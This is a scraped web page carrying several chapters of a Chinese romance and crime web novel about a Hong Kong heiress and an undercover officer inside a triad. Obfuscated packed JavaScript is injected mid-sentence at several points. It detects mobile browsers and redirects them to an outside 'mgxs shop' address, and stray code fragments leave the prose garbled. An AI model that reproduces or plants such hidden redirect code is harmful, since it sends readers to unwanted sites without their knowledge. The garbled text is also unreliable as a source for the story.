顺手将裴薄妍放到桌上的冰毛巾带走。 出去的时候,手扶着门边,想了想,没关。 嘴上嫌弃大小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353126|199647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐麻烦,但看到高贵漂亮的天鹅落难,是人都会生出恻隐之心。 沈雾也不例外。 “门我就不关了。”她看着裴薄妍道,“我在外面,害怕就叫我。” 内心隐秘的不堪被看破,裴薄妍耳根发热,但嘴还很硬。 “谁害怕了。” 沈雾点点头,也不和大小姐争,出去了。 门开着,沈雾将电视机也一并开了,随便调了个台。 电视里正播放十多年前的一部港语长片,里面的一家子吵得鸡飞狗跳,平日里觉着吵闹的声音,在此刻却觉得刚好。 裴薄妍蜷起小腿靠到床头,给自己找了个舒服点的姿势。 没碰床上叠得整齐的毯子和枕头,拿起枕头旁的一只蓝色的鲸鱼玩偶当抱枕,紧紧搂在怀里。 床的确很干净,而且铺得过分平整。 让人想起内陆的小孩上大学军训时,被子要叠成豆腐块。 这张床,看起来就很有那味道。 小鲸鱼抱在怀里,裴薄妍下巴搁在小鲸鱼的头上,鼻端浅浅地浮着柑橘类的香气。 和那女人身上的气味一样。 清清爽爽,干净得让人舒适,精神也随之慢慢放松。 眼前冷不丁浮现女人的眉眼。 看着冷冰冰的,说话很欠打,却喜欢这种孩子气的水果香。 打了个呵欠,余光里瞥见床头的茶杯,裴薄妍拿起来嗅了嗅。 氤氲的热气里裹着甘甜的菊花香,确实挺镇定安神。 浅浅尝了一口,不是她喜欢的味道。 当甘菊香薰嗅闻了会儿,又把杯子放了回去。 目光扫到床对面简易不锈钢衣架,上面挂了几件衣服,大多是T恤、背心和牛仔裤,颜色也是无聊到没有任何记忆点的黑和白。 这人来港岛打工吗? 在Glow做什么?酒保还是安保? 她的五官真的很像记忆里的那个人。 但那人眼尾好像是有颗痣的,小小一颗红色的痣,很醒目,很漂亮。 她没有。 所以只是长得像,还是记忆有偏差? 裴薄妍轻轻摩挲着脖子前无事牌光滑、温热的表面。 靠着床头,听着外面电视里家嘈屋闭的情节,闻着甘菊茶的香气,胡思乱想间自己都没意识到,身处陌生环境里的不安感正渐渐消退。 紧绷的神经一松弛下来,困意上涌。 裴薄妍又打了两个浅浅的呵欠,什么时候睡过去也不知道。 沈雾在客厅里等着裴家人上门,胃里涌起一阵强烈的饥饿感。 这才想起,自己一晚上折腾到现在,还没吃晚饭。 拿出单柄锅,接水,烧开,撕开泡面的包装,下入面饼。 冰箱里还有两棵青菜,沈雾拿鸡蛋的时候想到卧室里的裴大小姐。 大小姐应该不会想吃这种廉价的泡面。 不过,还是决定去问一嘴。 不然万一大小姐饿了,知道她吃独食,不知道又会怎么折腾她。 调小火,沈雾正要敲一敲卧室门,看到裴薄妍抱着她的小鲸鱼,那双漂亮的眼睛闭了起来,似乎是睡着了。 放轻了脚步进来,沈雾轻轻叫了声:“裴小姐?” 没反应,的确是睡着了。 即便是睡着的状态,裴薄妍也仍旧仪态优雅。 侧卧的姿势让她纤薄的脊背弯出柔软的弧度,红裙下摆露出细白的长腿,莹白水润,像是刚剥壳的荔枝。 港岛第一千金就这样睡在她的房间里,睡在她那张廉价的床上,说出去恐怕没人会信。 沈雾自觉地挪开目光,想去拿毯子。 手伸出去半截又顿住。 毯子她昨天盖过,大小姐估计会嫌弃。 想了想,拿了条新床单,盖在了裴薄妍的腿上,然后试图将小鲸鱼抽出来。 那是她每天晚上都要抱着睡觉的床伴,被不认识的女人这么搂在怀中,有些羞耻,太亲密。 抽了两下没成功。 大小姐不知道是不是梦境不太安稳,越抽她抱得越紧。 沈雾怕弄醒她,只能无奈松手,由着她去了。 轻手轻脚的来了又走,回到厨房,刚刚煮好了面。 还没来得及往嘴里送一口,就被楼道里十几号人上楼的动静,和气势汹汹“咣咣咣”的敲门声打断。 7. 第 7 章 裴薄妍的助理Aimee说要二十分钟,实际上挂了电话到现在也不过十五分钟就到了。 沈雾去开门,裴家的保镖们毫不客气地涌了进来。 没见过这么横行霸道的,过道又窄,沈雾硬是被撞了一下,肩膀碰到门上,发出一声闷响。 无人在意,更别说跟她讲句“抱歉”。 所有人的注意力都在自家大小姐的身上。 助理Aimee脸色惨白地冲入屋中,看到市井打扮的沈雾,脸色紧绷,语气强势质问: “我们大小姐呢?” 沈雾沉着脸让到一旁,免得再被撞到。 裴薄妍裹着沈雾的衬衣从卧室里走了出来。 “Aimee。” 陌生环境里她本来也不可能睡踏实,外面动静这么大,醒了。 浅浅地眯了一下,眩晕的感觉好了很多。 Aimee立刻迎上来,仔仔细细看了裴薄妍一圈,确定她全须全尾没受什么伤害的样子,终于安下心来,长长地呼出一口气后,注意力下移。 当看到裴薄妍身上罩着来历不明廉价的市售衬衫,以及里面她自己的衣服被撕开的领口,Aimee心里一阵发紧,立刻将带来的真丝披肩展开,想要给裴薄妍披上。 裴薄妍没脱掉那件在Aimee眼中会磨红她娇嫩肌肤的衬衣。 继续穿着沈雾的所有物,披肩随意搭在身上,说: “家里人知道了吗?” 裴振生人在国外,裴薄妍问的“家里人”自然指的是她姑姑裴咏珊。 Aimee点点头,“这么大的事情,Anne那边瞒不住的。” 之前她接到裴薄妍的电话,便立刻带着人火速往Glow的方向赶。 等她赶到的时候,大小姐人已经不见了。 Glow的工作人员将裴薄妍丢失的手机和手包交给她,并且提前调取了监控。 监控清晰地拍到,大小姐被一个骑着摩托车的女人带走了。 从调监控到联系运输署,再到得知沈雾住址,用时不到一个小时,同时接到了大小姐的电话。 好在大小姐没真的出事,不然她的事业前景甚至是整个人生就全都交代出去了。 松了大大一口气的同时,Aimee的注意力再次转向这间屋里唯一的陌生人方向,看沈雾的眼神带着审视和判断。 沈雾肩膀被撞的地方还有些疼,Aimee的眼神又肆无忌惮,撩起了她心里一丝火气,但很快又压了回去。 反正很快就会离开,忍一忍,别惹出不必要的麻烦。 Aimee小声询问:“大小姐,你有没有哪里受伤或者不舒服?家里的医生也来了,要不要先让医生帮你看一看?” 她身后跟着一个穿着浅灰色衬衫裙的女人,是裴家的私人医生。 “不用。” 裴薄妍摇了摇头起身,头已经没有那么晕了。 她现在只想尽快做个全面体检,确定自己的身体状况。 “先送我去家里的医院。” 裴家的保镖们把老旧唐楼狭窄的走廊塞得满满当当,声势浩荡,看上去就是有大人物光临,有大事发生。 所有欲窥探一二的邻居都被保镖们锋利的目光和高大的身躯逼退回去,他们为裴薄妍清理出一个安全清净的走廊,半根头发丝都不让人窥探了去。 裴薄妍本来想让Aimee留沈雾一个联系方式,又想到自己是用沈雾的手机给Aimee打的电话,Aimee手机上有这女人的号码,便没再多言,朝门外走去。 Aimee则微笑着走到沈雾面前。 “阿无是吧?” 她叫阿无? 裴薄妍听到Aimee的话,脚下的动作没停,眼眸滑过一丝浅浅的涟漪。 沈雾本来事不关己地在一旁等着他们离开,裴薄妍的助理突然叫她,她大约猜得到是因为什么。 沈雾缓缓抬眸,看着眼前妆容一丝不苟的女人。 Aimee来之前,已经调查出在停车场救走大小姐的人在新景车行工作,大家都叫她阿无,姓沈,内地人。 没有正经务工身份,是个捞偏门的黑工。 作为裴薄妍的助理,找到大小姐后的第一件事,就是先封住所有相关的人的口,从根源上解决任何有可能对大小姐名誉造成损害的源头。 Aimee不觉得这飞女没有将消息提供给狗仔,会是出于好心。 她见过太多贪得无厌,想依仗手里的一点“料”来换取泼天富贵的人了。 Aimee将自己的名片递上,笑容客气。 “感谢你为我们大小姐提供了帮助,有任何需要,尽可提出来,裴氏不会亏待你的。” 沈雾两指夹过Aimee递过来的名片,随手丢在门口的鞋柜上。 倒没想要什么回报,她宵夜还没吃完,只想这群人快点离开,不然面就要泡发,影响口感了。 这人漫不经心的态度,落在Aimee眼中成了一种傲慢,越发觉得她是想坐地起价。 “无论你想提什么要求,我有必要提醒一句,今晚的事情裴氏不希望再有其他不相干的人知道。不然对我们大小姐不好,对你更不好。” Aimee脸上的笑容没变,语气里则多了警告的意味。 高跟鞋“咔哒”一声顿住,裴薄妍在门外站定。 没回头,只是单纯想听一听,这人会怎么回答。 沈雾似笑非笑地看了Aimee一眼,漆黑的眸子不见半点惧色和紧张,反倒有种洞察人心的凛冽。 “威胁我。” Aimee心脏突突快跳了两下,像是感受到一种奇怪的压迫感。 不过是个修车的,还住在老破的唐楼里,怎么气场这么吓人? “怎么会。” Aimee脸上笑意未变,到底是裴薄妍的首席助理,即便被沈雾奇怪的气场打乱了节奏,也能在一瞬间找回,不露被人拿捏的破绽。 “相信你是聪明人,不会做糊涂的事情。那不打扰了,随时恭候。” Aimee说完转身,一出门,看到自家大小姐还站在门口。 裴薄妍扬起眼睫看她,“带支票了吗?” “带了。” Aimee一怔,反应极快,立刻从自己的包里拿出空白支票夹和笔。 看着裴薄妍在支票上签了名,数额一栏空着。 Aimee心下咋舌。 大小姐是要直接用钱打发吗? 空白支票,那个飞女要是贪婪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353127|199647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怕会填个天文数字出来吧? 看着裴薄妍将支票撕下来,Aimee习惯性伸手去接。 裴薄妍只将支票夹和笔递给她,自己拿着空白支票走回屋里。 听到去而复返的高跟鞋声,沈雾抬头,看到已经重新拾起一身矜贵骄傲的大小姐走了回来。 沈雾:“还有事?” 裴薄妍走到她面前站定,“你叫阿无,姓什么?” 在门外竖着耳朵的Aimee眼睛因为意外瞪大。 从来都是别人殷勤地想要在裴薄妍面前留下点儿印象,之前《SV》的主编亲自上门邀请大小姐做访谈,请了三回,裴薄妍连他姓什么都记不住。 今天真是破天荒了,居然会主动问这个人的名字。 沈雾刚刚被那位叫Aimee的助理敲山震虎,肩膀也还有些隐隐的痛感,心里不痛快,话里带刺儿。 “裴小姐想要知道我的名字,还需要亲自来问吗?” 裴家,港岛第一豪门,想查什么查不到?如果不是她这些年不留任何痕迹,说不定连卧底的身份都捂不住。 还是很危险。 就说不想和这种人扯上关系,很有可能让她这么久以来的工作前功尽弃。 周围有一瞬间明显的寂静,门外的Aimee和众保镖们大气没敢喘一下。 他们大小姐第一次主动问别人的名字,被拒了。 裴薄妍冷艳的脸上没有因为沈雾拒绝而露出不悦,姿态高傲地把手里捏着的支票对折,缓慢且不容拒绝地塞进沈雾背心的肩带里。 “今晚的报酬,数字你随便填。” 五分钟后,几辆劳斯莱斯幻影从老旧的住宅区街道里低调离开。 没人知道,今晚港岛首富的千金曾踏足过这里。 裴薄妍坐在中间的一辆幻影里,纤细粉白的食指轻戳着太阳穴,下意识摸着胸前的无事牌,脑子里还在回想刚刚那个阿无后来说的话。 “裴小姐似乎很习惯用钱来解决事情。” 沈雾将那张支票从肩带里抽了出来,和刚刚助理递给她的名片一起,不疾不徐地放在了一打超市便利店的宣传单上面。 “如果钱真的能解决所有的麻烦,今晚裴小姐也不会沦落到被我搭救的境地。” 想到这儿,裴薄妍冷笑一声。 看着倒是清高。 她问副驾的Aimee:“她本名叫什么?” Aimee立刻回头,把调查的内容回报给裴薄妍。 “沈无,24岁,孤儿,去年从大陆来港岛,做过不少黑工,现在在湾仔一家车行做事。那家车行是和兴社的产业之一。” 听到和兴社三个字,裴薄妍的眉心拧了起来。 她是和兴社的人? 年龄不对,记得那个人比自己小5岁,今年应该才22岁。 还姓沈,也不对。 所以,大概不是记忆出现偏差,确实是认错了人。 裴薄妍闭起眼睛,说不上是不是失望。 她一直记挂的那个人是警察的孩子。 就算再落魄,也不会和这种社团沾边。 裴家做的是正经生意,向来不与烂仔飞女来往。 也罢,支票她已经给了,以后也没机会再见面了。 8. 第 8 章 面泡了太久已经没多少汤汁,沈雾也饿过了劲,随便扒拉了两口,将鸡蛋和青菜挑了挑,剩下的倒了。 刚洗干净锅,容姐来了。 “今晚怎么回事,你怎么和裴家那位大小姐搭上了?一五一十的跟我讲一遍。” 容姐墨镜摘了顶在头顶,一进屋就把门合上。 她脑门上全是汗,眼线都被汗水弄糊了些。 容姐这种着急又郑重其事的态度,叫沈雾生出几分奇怪。 Glow是和兴社的场子,裴家大小姐在那里出了事,和兴社要查个明白,不稀奇。 可就算裴家是港岛首富,也不至于让容姐如此紧张。 更别说,Glow的场子也不归容姐管,按理说轮不到她来着急。 沈雾到港岛卧底这么久,无论是港警那边给到的资料,还是她平日里打听的消息里,都没有听说过裴家与和兴社有什么关联。 相反,裴家在是港岛和内地都颇有口碑。 除了生意场上干净,缴税积极,家主裴振生常年专注慈善事业。 他妹妹裴咏珊,也就是裴薄妍的姑姑,是港岛妇孺权益协会的主席。 裴薄妍这方面参与的虽少,可每年也会出席几次慈善拍卖。 裴家堪称富豪圈子里的楷模。 奇怪的感觉在沈雾心里一闪而过。 Glow发生的事,在监控里都能看得到,沈雾没什么好瞒的,大致说了一遍经过。 听完之后确定了裴薄妍没事,容姐神情明显松弛下来,熟门熟路从沈雾的冰箱里拿了罐冰啤,“呲”一声打开,边喝边说: “你怎么冷气也不开?至于省到这个地步吗?” 这套房子容姐让沈雾先住着,租金很低,不到市价的一半。不然港岛这种寸土寸金的地方,她穷到一块钱恨不得掰开两半花的人设,只能租得起劏房。 沈雾也开了一罐啤酒,“找人来修了,说修不好,零件早就停产,市面上找不到。” 容姐看了眼,那冷气机的确老得该寿终正寝了。 “回头我让人给你装台新的。” 沈雾抿了口冰凉的啤酒,“那几个人呢?” 她没直接问为什么容姐对裴家这么上心,只问停车场里拦她的那几个混混。 恰到好处的好奇不会引起容姐的怀疑。 容姐捏了捏啤酒罐,冷笑了声。 “几个都没字头的蛋散(废物),领头的被你一链子抽断了鼻梁,在医院躺着了。行啊你,下手够狠的。不过不用操心,他们没机会来寻你麻烦。” 沈雾眼眸低垂,听容姐话里的意思,那几个人敢在和兴社的地盘闹事,应该是凶多吉少了。 她卧底进和兴社,最重要的目的就是接近和兴社背后的那个神秘的顶级话事人“A姐”,以侦办一宗导致13人死亡,40多人失踪的重大刑事案件,为案件的侦破搜集关键线索和证据。 这13名被害人中,有3名正是她的双亲和姐姐。 和兴社的话事人A姐十分神秘,常年不露面,平日里都是秘书代她处理各项事宜。 见过A姐真面目的人,只有社团里的高层。 容姐这种小头目至今不清楚自家龙头长什么模样,年龄几何。 沈雾在容姐面前不是会多管闲事的人设,没再多问。 今晚的事也是巧合,如果不是误打误撞遇到裴薄妍,就不会发现她身上蜜桃味的药物。 在Glow发生的事,她已经秘密发给上线了。 如果能抓到那几个混混,往上查药物的来历,说不定会有收获。 提及那几个人,容姐拍了拍沈雾的胳膊,眼底情绪复杂。 “幸好你是救了裴家大小姐,没出什么事,不然我都保你唔住啊。” 也不知道是该说这小孩运气好还是运气差。 她今晚原本是要试一试沈雾,堪用的话,就先顶替一段时间阿k的位置。 没想到遇上裴家大小姐在和兴社的地盘出事。 更让容姐想不到的是,今晚的事情连上面的人都惊动了,直接一个电话把她叫过去,问她监控里面的是不是她的人。 容姐在湾仔管着几个车行和走私路线的几个节点,但她也只是湾仔的话事人的手下。 一般情况下,除了社团的大型集会,她都没有见高层的资格。 上面对裴家大小姐的事如此主动又上心,可以肯定一点—— 社团的高层对裴家人很看重。 毕竟裴家是港岛第一豪门嘛,不奇怪。 可是,总觉得不只是这么简单的关系。 容姐暂且摸不清原委,但越是底层的人嗅觉越是敏锐。 今晚阿无露了脸,她无法分辨利弊。 往好的方面去想,如果阿无能过了这关,以后她可以放心大胆的用这小孩了。 容姐性子谨慎,不会轻易多嘴,看到沈雾手臂上包扎过的伤,还是提醒了一句。 “你记住,无论如何,想要在港岛讨口饭吃,就永远不要得罪裴家人。特别是裴家那位大小姐。” 这也是她来找沈雾之前,上头的话事人对她的警告。 沈雾半垂的眼皮下眸光很短暂地微凝,随即笑起来,“知道了。” 容姐起身将喝空的啤酒罐丢进垃圾桶,“行了,我先回去了。” 沈雾跟着起身,送容姐下楼。 看着容姐上车,目送她消失在路口,沈雾想起之前被大小姐弄坏的头盔,不知道有没有被人捡走。 摩托车也得重新找个地方停好,顺便拆开看看,是不是走私货。 沈雾转身,往停车的地方走了两步。 看到路灯,白色杜卡迪的座椅上,头盔不知道被谁捡了起来,端端正正放在了上面。 - 裴薄妍靠着医院休息室沙发柔软的椅背,闭目养神。 在自家医院做完全部检查,已经凌晨一点了。 除了倒时差,她几乎没有熬夜到这么晚过。 手机塞满了各种信息,温静书回港了,四小时前就WhatsApp她,她到现在才看到。 裴薄妍见温静书发了好几条WhatsApp,扫了眼,应该不知道今晚发生的事,只是说自己回来了,给她和阿Ri都带了礼物。 大脑像吸饱水的海绵一样沉闷,裴薄妍没回,锁屏。 不知道是不是缺觉,思维变得不受控制,总时不时闪过沈雾那张脸。 “Aimee。” 裴薄妍叫了声在外面的小助理。 Aimee:“大小姐,需要什么?” 裴薄妍想起之前自己从唐楼离开时,捡起的那个碎掉的头盔。 混乱的记忆里,有摘头盔的动作,大概率是被自己弄碎的。 她不喜欢亏欠别人。 “联系Ruroc的品牌方,我想定制一个头盔。” 甚至已经想好了颜色。 沈无那辆摩托车是白色的,同色系的比较搭,现在她那个黑色的很难看。 Aimee微微讶异,显然大小姐所说的头盔,是要给唐楼里那个女人的。 不说留下的支票抵得上多少个头盔,按照裴薄妍从前行事的习惯,就算要给姓沈的赔一个头盔,顶多提一嘴,也绝不会如此上心,还要定制。 讶异归讶异,Aimee也不会多嘴,只应了声“是”。 交代完,裴薄妍听见走廊里一阵脚步声由远及近,听上去有十几个人。 走在最前面的人穿着高跟鞋,细长的金属鞋跟敲在大理石地面上。 声音清脆,气势极强。 光是听这利落的脚步声,裴薄妍就知道是谁来了。 她睁开泛酸的眼睛,看到姑姑裴咏珊神色匆匆地推门进来。 “年年,你怎么样?有没有事?身体哪里不舒服?” 年年是裴薄妍的乳名,是过世的母亲给她取的,希望她长命百岁,年年不断。 也只有家人会这样唤她。 看到姑姑脸上的担忧,裴薄妍撑起一抹淡笑道: “不用担心,我OK的。” 裴薄妍母亲过世的早,裴咏珊平日里格外疼她,姑侄两人相差不到十岁,算是从小一块儿长起来的,感情极好。 在裴薄妍心里,姑姑比父亲裴振生还要亲近些。 裴咏珊那强大的气场到了疼爱的侄女面前,变成了宠溺,捏着侄女的胳膊,前后左右亲自确认了一遍,确定是真的没大碍才松口气。 “今晚的事情我已经吩咐他们去查了。无论是谁,敢对你做出这种事,姑姑一定会让他把牢底坐穿。年年,你以后一定要带保镖出门,别嫌麻烦。” 听说了裴薄妍的遭遇,裴咏珊气得五脏都在烧,努力克制着火气,交代她的话都不舍得大声说。 裴薄妍点头应了。 又听到姑姑说:“你爹地这会儿还在天上飞,估计明天一早才能到。” 来医院的路上裴振生就打过电话了,裴薄妍心里有气,没接。 裴振生又给裴咏珊打,想让妹妹帮他说两句好话。 他这女儿,全家的掌上明珠,强势惯了,连他都怕。 裴咏珊不提还好,一提裴薄妍的脸上立刻就由晴转阴,语气淡淡的,可字里行间的冷意清晰。 “不是他泄露我的行踪,姓钟的怎么会知道我要去Glow?今晚的邀请函也是他故意给我,好让姓钟的来巧遇。你干脆帮我问问他,钟家给了他什么好处,能让他卖女儿。” “年年,你别这样说,你爹地会伤心的。” 裴咏珊握着她的手,哄着拉到沙发上坐好。 “今晚的事情他的确做的不对,不该瞒着你擅作主张,但你爹地也是关心你。而且钟家的门第不算差,加上前两年投资了内陆的几个公司,这两年发展得都还不错,算是有前景。” “我自己也会投资,哪家不比钟家投资的那几家前景好?而且……” 裴薄妍想说今晚的遭遇说不定就有姓钟的手笔,但还没有确凿的证据,她不想把话说这么肯定。 “姑姑你别替裴振生说话,不然我连你也不理。” 裴咏珊知道今晚她经历的事太可怕,立刻不再提。 “好好好,不说他。年年,姑姑永远是站在你这边的。不过,你既然不钟意钟家的那个后生仔,不如跟姑姑说,你钟意什么样的,我帮你留意啊?” 钟意什么样的? 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只响了一声就被接了起来。 电话那头是道很有磁性的女人声。 “愿意理我了?” 语气是带着笑意的小心翼翼,以及一点撒娇的意味。 相比对方满满的情意,裴咏珊则冷淡很多。 “帮我办件事。” - 无人的角落。 沈雾将V2拆开查验了一圈,确认了这是一台走私车后,拍照将证据上传到加密云盘里,随后删除干净。 和兴社的所有产业链都要查。 谁也不能保证真正的线索不会藏在这些看似不起眼的细节里。 重新把杜卡迪装好,拎着头盔上楼。 头盔上的污渍已经被擦干净了,除了摔烂的挡风镜,别的都还好,还能用。 她打算明天去车行看看,能不能找个镜片换上。 沈雾从油烟机后面拿出手机。 这是她专门跟接头的港警上司联络用的古董机。 没有智能系统,没有APP,更不存在云端,难以跟踪和定位。 插入一次性的SIM卡,打开抽油烟机,按住数字键“1”,电话立刻拨了出去。 不到三秒,电话接通,没有客气寒暄,站在嗡嗡作响的抽油烟机下,沈雾单刀直入。 【我开始送Glow的货了。】 声音被抽油烟机掩盖了,即便屋里有谁布下的监控,也难以分辨咬字。 她说的话,只有电话那头的人听得清。 对面低沉的女声“嗯”了一声。 想到容姐的那句提醒,沈雾问:【裴家跟和兴社会不会有关系?】 上司语气肯定地说:【应该不会,ICAC(廉政公署)那帮人盯裴家盯的不知道多紧,要是有丁点蛛丝马迹,他们不会不知道。除了药物的线索,你还发现什么了?】 【裴家可能没有表面上干净。】 沈雾视线落到客厅茶几的头盔上,没直接的证据,但有一份做警察的直觉。 上司:【我找人再去查查,有鬼没鬼,查过便知。】 结束通话后,沈雾将手机卡取出来,烧过后丢进下水道。 冲了个澡,躺到床上已经两点了。 漫长的一晚总算是要过去。 沈雾很累了,闭上眼,习惯性将小鲸鱼的玩偶抱在怀里,将脸埋了进去。 一股陌生的香气扑入她的鼻息之中,混合了杏仁与可可果的鸢尾。 是裴薄妍身上的香水味。 裴大小姐只是抱着睡了一会儿,香气就强势地留在了小鲸鱼的上面。 被她故意忽略了一整晚的吻和裴薄妍的体温,不讲缘由地忽然刺破她的防线。 唇间还残留着被裴薄妍侵入的感觉。 初吻就这样莫名其妙没了。 沈雾翻了个身,将发红的耳朵埋到另一侧的枕头上。 别想那些乱七八糟的事,快睡觉。 9. 第 9 章 裴薄妍昨晚没睡好,做了一整晚的梦。 起先是那个梦了好多年的雨巷,梦里的雨大得仿佛要将整个世界都浸透。 十七岁的裴薄妍全身被淋湿,看着青竹似少女手持一根钢管,将那几个想要抢劫她的小混混打得满地找牙。 她走过去,握住少女受伤的手,想问有没有事。 一抬眼,少女的脸变成了那个沈无,雨巷被迅速瓦解重组,成了唐楼。 她又回到了唐楼那装修风格迥异的卫生间里。 狭窄幽暗的环境里,她被沈无抱着,吻得无法呼吸。 梦里她咬破了沈无的唇,还尝不到血腥味,浑身脱力发热,却不尽兴。 被她摸着的人凶得很,又无可奈何不舍得伤她,只能任她摸。 直到把对方和自己的耳朵都弄得发红,对视的双眼里都是想更进一步的冲动。 裴薄妍是因为心跳太快醒过来的。 床头有专业的睡眠监测仪器,监测到她睡着后的心跳过快发出警报,将她唤醒。 裴薄妍浑身发软起身去倒水。 床头的显示器上,时间刚过八点。 昨晚熬的太久,早就过了固定起床时间。 一杯水灌下去,心口燥意被浇灭大半。 只是,沈无腹部紧致的手感在残留在掌心里。 微微起伏的柔软轮廓,让裴薄妍微微失神。 二十七年的人生里,第一次做这种梦。 裴薄妍将原因归咎给昨晚那口被加料的酒。 跟那个姓沈的没多大关系。 她从来不会自寻烦恼,理清思路便将那个梦抛到脑后,伸手按了桌面的呼叫铃。 门外一直待命的佣人立刻进来,开启窗帘,整理床铺,询问大小姐今天的早餐想要吃什么。 “清淡点的,鱼片粥,其他的随意。” 裴薄妍吩咐完,绑好头发下楼。 “好的。” 她有晨练的习惯,哪怕今天起得晚了些,也仍旧要先在院子里的恒温泳池游半个小时,再吃早饭。 银色劳斯莱斯驶入浅水湾的裴家别墅。 裴家的佣人看到裴振生在港岛的专属座驾,立刻迎上前。 车停稳后,裴振生从车里下来,“大小姐呢?” 佣人接过司机递过来的行李箱,“在花园里游泳。” 裴振生年近五十,因为常年保持健身,加上私人医生和营养师的监督,不见肚腩秃顶,身材仍旧保持年轻时的状态。 他在南非的行程原本还要两天,听到宝贝女儿出事,急得他把后续的行程全部推了,连夜回港。 裴薄妍今天状态不好,没游太久,二十分钟就从泳池出来了。 刚拿起浴袍,余光看到裴振生一脸担忧朝她快步过来,立即冷下脸,头也不回地往屋里去。 “年年,年年。” 裴振生叫着裴薄妍的乳名,赶忙小跑着跟上去,殷勤地笑。 “BB,怎么不理爹地啊?” 裴薄妍冷淡地撇了他一眼,面若寒泉,语气带着嘲讽。 “裴家要破产了?” 裴振生怔了怔。 “要靠我出卖自己去救你的公司?” 裴振生自知理亏,被女儿呛声也不敢皱眉头。 “这次是爹地没有提前跟你打招呼,爹地错了,同你道歉,好唔好啊?” “唔好。” 裴薄妍唇角勾了个笑容,却不会叫人觉得她心情转好,像嘲讽,反而心里更慌。 裴薄妍收回目光,继续往浴室的方向去。 “这次是钟家,下次是谁家?” 攒了一晚上的火气,这会儿见到了裴振生火力全开,背对着裴振生说: “要不你干脆给我列个名单,或者叫你的幕僚们好好对比一下,看看我嫁哪家能让你利益最大化。还是说钟家那样的就已经是你筛选之后的结论?那你这些年的经营还真是笑话。” 裴振生头皮一阵发麻。 他这个宝贝女儿平日里还算能有商有量,话也很少,可要是真惹她生气,脾气一起来句句扎心。 这次安排和钟俊辉“巧遇”,是因为钟家老友从中牵线,游说了许久,的确是存了和钟家相亲的意思。 他原本想着裴薄妍也到了该谈婚论嫁的年纪,钟家的门第虽然不及裴家,但也算是港岛豪门圈子里有名有姓的,不用担心裴薄妍婚后会受委屈。 至于成不成,也是要看裴薄妍喜不喜欢。 完全没想到女儿会在Glow出事。 裴振生还是很爱女儿的,遇到这种事又气又心痛,举手发誓说: “以后无论任何事,爹地一定先同你商量。你要是不喜欢,我绝对不会再勉强。原谅爹地这次吧。” 正好走到了浴室门前,裴薄妍理都没理,直接推门进去,把还想再说点好话的裴振生挡在外面。 裴家佣人们早已见怪不怪。 裴家父女一向是这样,大小姐才是家里说一不二的那个。 裴振生知道宝贝女儿一时半会儿气难消,叹了一声,想等她洗完澡吃完早饭,再慢慢哄。 结果裴薄妍洗完澡,直接从浴室另一边乘电梯上楼,连早饭都没吃,换了衣服,开车出门了。 不想在家待着,更不想看到裴振生,看到他就会想到姓钟的恶心嘴脸。 昨晚发生的事还让她心有余悸。 如果没遇到沈无,她会遭遇什么? 光是想象,胃都受不了恶心又绞痛地翻涌。 开车往深水湾游艇会去。 这几天她不想见任何人类。 想待在没人打扰的清净地,海上是最佳选择。 - 沈雾经历了不太平的一晚,觉也睡得不安稳。 梦里一通兵荒马乱,醒过来的时候一身的汗。 脑子紧巴巴的,不记得梦到了什么。 好像是梦到了那个裴大小姐。 唇上的血口还清晰,一扯动就痛。 在镜子前拉下衣领,看脖子上的痕迹。 吻痕已经从鲜红变成深红,红得发紫,可想而知裴大小姐下了多重的口。 算了,当时她也是情不得已,沈雾懒得再计较。 只是以前都穿轻便的背心,今天得选件高领遮挡让她尴尬的吻痕。 用冷水洗了把脸,咬着皮筋把头发扎起来,去热身。 她习惯每天早上沿着海边跑五公里,跑完再到餐厅,叫一份三十块的煎蛋肠仔的双拼车仔面套餐当早饭。 吃完去新景车行,开启一天的劳作。 早上吃碳水炸弹很容易晕碳,谁让她现在要做的都是大体力活,不吃的话到中午腿都软。 昨晚容姐试探了她,说回头让她自己送货,还说明天有事要她去做。 沈雾在车行洗了一整天的车,没等到容姐的电话,也没有任何人联系她。 不知道是不是裴薄妍的事打乱了什么计划,暴露了什么细节让容姐有了别的顾虑,导致今天原本该让她送货的事迟迟没消息。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353129|199647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈雾面无表情站起来抻抻发酸的腰。 先别去想给Glow送货的事,太在意了容易露马脚,心思得往里藏。 